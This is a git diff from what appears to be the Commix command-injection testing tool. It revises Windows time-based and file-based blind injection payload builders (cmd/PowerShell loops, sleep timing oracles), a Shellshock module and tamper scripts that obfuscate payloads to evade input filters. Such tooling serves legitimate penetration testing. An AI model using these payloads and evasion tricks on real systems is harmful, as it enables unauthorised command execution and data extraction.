payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host (cmd /c \"" +
cmd +
"\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul"
@@ -107,7 +107,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE):
else:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\""
payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p =%i< nul"
)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index b8c34fb284..34e1aa2c08 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -149,14 +149,14 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
if target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
+ info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The target operating system is " + str(target_os)
+ info_msg = "The underlying operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 0a6b6f38d0..5890c1fb4d 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -30,7 +30,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
pipe = "|"
payload = (pipe +
"echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')"
" do if %i==" +str(j) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
@@ -42,7 +42,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')"
" do if %i==" +str(j) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
@@ -116,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
pipe = "|"
payload = (pipe + " "
"echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
@@ -127,7 +127,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
@@ -199,17 +199,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
if separator == "||" :
pipe = "|"
payload = (pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p =%i" +
">" + OUTPUT_TEXTFILE + "< nul" + pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %i==" +str(j) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " +
# Transform to ASCII
pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') "
"do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) "
"else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
@@ -218,17 +218,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p =%i" +
">" + OUTPUT_TEXTFILE + "< nul" + ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %i==" +str(j) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " +
# Transform to ASCII
ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') "
"do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) "
"else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
@@ -312,11 +312,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
if separator == "||" :
pipe = "|"
payload = (pipe +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do @set /p =%i" +
">" + OUTPUT_TEXTFILE + "< nul " + pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -326,11 +326,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do @set /p =%i" +
">" + OUTPUT_TEXTFILE + "< nul " + ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(j) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -401,7 +401,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
if separator == "||" :
pipe = "|"
payload = (pipe +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')"
" do if %i==" +str(ascii_char)+ " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
@@ -411,7 +411,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')"
" do if %i==" +str(ascii_char)+ " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
@@ -477,7 +477,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
if separator == "||" :
pipe = "|"
payload = (pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -487,7 +487,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -550,7 +550,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
if separator == "||" :
pipe = "|"
payload = (pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
@@ -561,7 +561,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
+ "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
@@ -620,7 +620,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
if separator == "||" :
pipe = "|"
payload = (pipe + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
@@ -630,7 +630,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + ""
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index b9614c161d..8f84a3c02d 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -103,25 +103,25 @@ def enumeration(url, cve, check_header, filename):
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_arch:
- info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
+ info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The target operating system is " + str(target_os)
+ info_msg = "The underlying operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- info_msg = "The target operating system is " + target_os
+ info_msg = "The underlying operating system is " + target_os
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The target operating system is " + str(target_os) + ".\n"
+ info_msg = "The underlying operating system is " + str(target_os) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index b47ce27261..dde40e07f6 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -1157,7 +1157,7 @@ def check_target_os(server_banner):
user_defined_os = settings.TARGET_OS
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Identifying the target operating system. "
+ debug_msg = "Identifying The underlying operating system. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
@@ -1189,7 +1189,7 @@ def check_target_os(server_banner):
if settings.VERBOSITY_LEVEL != 0 :
if found_os_server:
print(settings.SINGLE_WHITESPACE)
- debug_msg = "The target operating system appears to be "
+ debug_msg = "The underlying operating system appears to be "
debug_msg += identified_os.title() + Style.RESET_ALL + "."
print(settings.print_bold_debug_msg(debug_msg))
else:
diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py
index b67812b955..fae3025bb3 100644
--- a/src/core/tamper/backslashes.py
+++ b/src/core/tamper/backslashes.py
@@ -14,11 +14,12 @@
"""
import re
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Adds back slashes (\) between the characters of the generated payloads.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
"""
__tamper__ = "backslashes"
@@ -47,25 +48,10 @@ def add_back_slashes(payload):
if settings.TARGET_OS != "win":
if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = add_back_slashes(payload)
-
+ return add_back_slashes(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
-
- return payload
+ return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py
index 944620ebab..2c7fd9813f 100644
--- a/src/core/tamper/backticks.py
+++ b/src/core/tamper/backticks.py
@@ -18,7 +18,7 @@
"""
About: Uses backticks instead of "$()" for commands substitution on the generated payloads.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
"""
__tamper__ = "backticks"
diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py
index bf11c75e59..978bbb70cd 100644
--- a/src/core/tamper/caret.py
+++ b/src/core/tamper/caret.py
@@ -14,6 +14,7 @@
"""
import re
import sys
+from src.utils import menu
from src.utils import settings
"""
@@ -30,12 +31,13 @@ def tamper(payload):
def add_caret_symbol(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if re.compile("\w+").findall(payload):
- if str(len(max(re.compile("\w+").findall(payload), key=lambda word: len(word)))) >= 5000:
+ long_string = ""
+ if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000:
long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word))
-
rep = {
"^^": "^",
'"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"',
+ '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"',
re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","")
}
payload = re.sub(r'([b-zD-Z])', r'^\1', payload)
@@ -46,24 +48,10 @@ def add_caret_symbol(payload):
if settings.TARGET_OS == "win":
if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = add_caret_symbol(payload)
+ return add_caret_symbol(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "*nix target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
-
- return payload
+ return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py
index 27b40f7fff..f405f546f8 100644
--- a/src/core/tamper/dollaratsigns.py
+++ b/src/core/tamper/dollaratsigns.py
@@ -14,11 +14,12 @@
"""
import re
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
"""
__tamper__ = "dollaratsigns"
@@ -47,25 +48,10 @@ def add_dollar_at_signs(payload):
if settings.TARGET_OS != "win":
if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = add_dollar_at_signs(payload)
-
+ return add_dollar_at_signs(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
- return payload
-
# eof
\ No newline at end of file
diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py
index 32eaa22faa..45470bb5ed 100644
--- a/src/core/tamper/doublequotes.py
+++ b/src/core/tamper/doublequotes.py
@@ -14,14 +14,17 @@
"""
import re
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Adds double quotes (") between the characters of the generated payloads.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
"""
__tamper__ = "doublequotes"
+if settings.TRANFROM_PAYLOAD != None:
+ settings.TRANFROM_PAYLOAD = None
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
@@ -39,33 +42,18 @@ def add_double_quotes(payload):
'""c""m""d': 'cmd',
'""c""ha""r': 'char'
}
- payload = re.sub(r'([b-zD-Z])', r'""\1', payload)
+ if settings.TARGET_OS != "win":
+ payload = re.sub(r'([b-zD-Z])', r'""\1', payload)
+ else:
+ payload = payload.replace("tokens","\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"")
rep = dict((re.escape(k), v) for k, v in rep.items())
pattern = re.compile("|".join(rep.keys()))
payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload)
return payload
- if settings.TARGET_OS != "win":
- if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
- else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = add_double_quotes(payload)
-
+ if settings.EVAL_BASED_STATE != False:
+ return payload
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
-
- return payload
+ return add_double_quotes(payload)
# eof
\ No newline at end of file
diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py
index 94ac9c628f..5d0adcb190 100644
--- a/src/core/tamper/nested.py
+++ b/src/core/tamper/nested.py
@@ -20,7 +20,7 @@
"""
About: Adds double quotes around of the generated payloads (nested).
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
"""
__tamper__ = "nested"
@@ -48,25 +48,10 @@ def nested(payload):
if settings.TARGET_OS != "win":
if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = nested(payload)
-
+ return nested(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
- return payload
-
# eof
\ No newline at end of file
diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py
index 654d3227a6..3d8bc259c6 100644
--- a/src/core/tamper/singlequotes.py
+++ b/src/core/tamper/singlequotes.py
@@ -14,11 +14,12 @@
"""
import re
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Adds single quotes (') between the characters of the generated payloads.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
"""
__tamper__ = "singlequotes"
@@ -47,25 +48,10 @@ def add_single_quotes(payload):
if settings.TARGET_OS != "win":
if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = add_single_quotes(payload)
-
+ return add_single_quotes(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
-
- return payload
+ return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py
index 0af29d889d..32b9e1fd8d 100644
--- a/src/core/tamper/slash2env.py
+++ b/src/core/tamper/slash2env.py
@@ -12,11 +12,12 @@
"""
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Replaces slashes (/) with environment variable value "${PATH%%u*}".
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/
"""
@@ -33,24 +34,10 @@ def add_slash2env(payload):
if settings.TARGET_OS != "win":
if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = add_slash2env(payload)
-
+ return add_slash2env(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
-
- return payload
-
\ No newline at end of file
+ return payload
+
+# eof
\ No newline at end of file
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index 6b7ec10a0a..5f89b91c19 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -14,12 +14,13 @@
"""
import re
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Uses "timeout" function for time-based attacks.
- * Regarding *nix targets, it replaces the "sleep XX" command with "timeout XX ping localhost".
- * Regarding windows targets, it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX".
+ * Regarding unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost".
+ * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX".
Notes: This tamper script works against all targets.
"""
@@ -45,15 +46,14 @@ def sleep_to_timeout_ping(payload):
if settings.TRANFROM_PAYLOAD == None:
settings.TRANFROM_PAYLOAD = False
warn_msg = "All injection techniques, except for the time-relative ones, "
- warn_msg += "do not support the '" + __tamper__ + ".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ warn_msg += "do not support the '" + __tamper__ + ".py' tamper script. Skipping."
+ if menu.options.skip_heuristics:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_warning_msg(warn_msg))
+ return payload
else:
settings.TRANFROM_PAYLOAD = True
if settings.TRANFROM_PAYLOAD:
- payload = sleep_to_timeout_ping(payload)
+ return sleep_to_timeout_ping(payload)
- return payload
-
# eof
\ No newline at end of file
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
index ed81d9320b..d3a2fa98cb 100644
--- a/src/core/tamper/sleep2usleep.py
+++ b/src/core/tamper/sleep2usleep.py
@@ -14,11 +14,12 @@
"""
import re
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Replaces "sleep" with "usleep" command in the generated payloads.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
Reference: http://man7.org/linux/man-pages/man3/usleep.3.html
"""
@@ -47,22 +48,13 @@ def sleep_to_usleep(payload):
settings.TRANFROM_PAYLOAD = False
warn_msg = "All injection techniques, except for the time-relative ones, "
warn_msg += "do not support the '" + __tamper__ + ".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ if menu.options.skip_heuristics:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_warning_msg(warn_msg))
+ return payload
else:
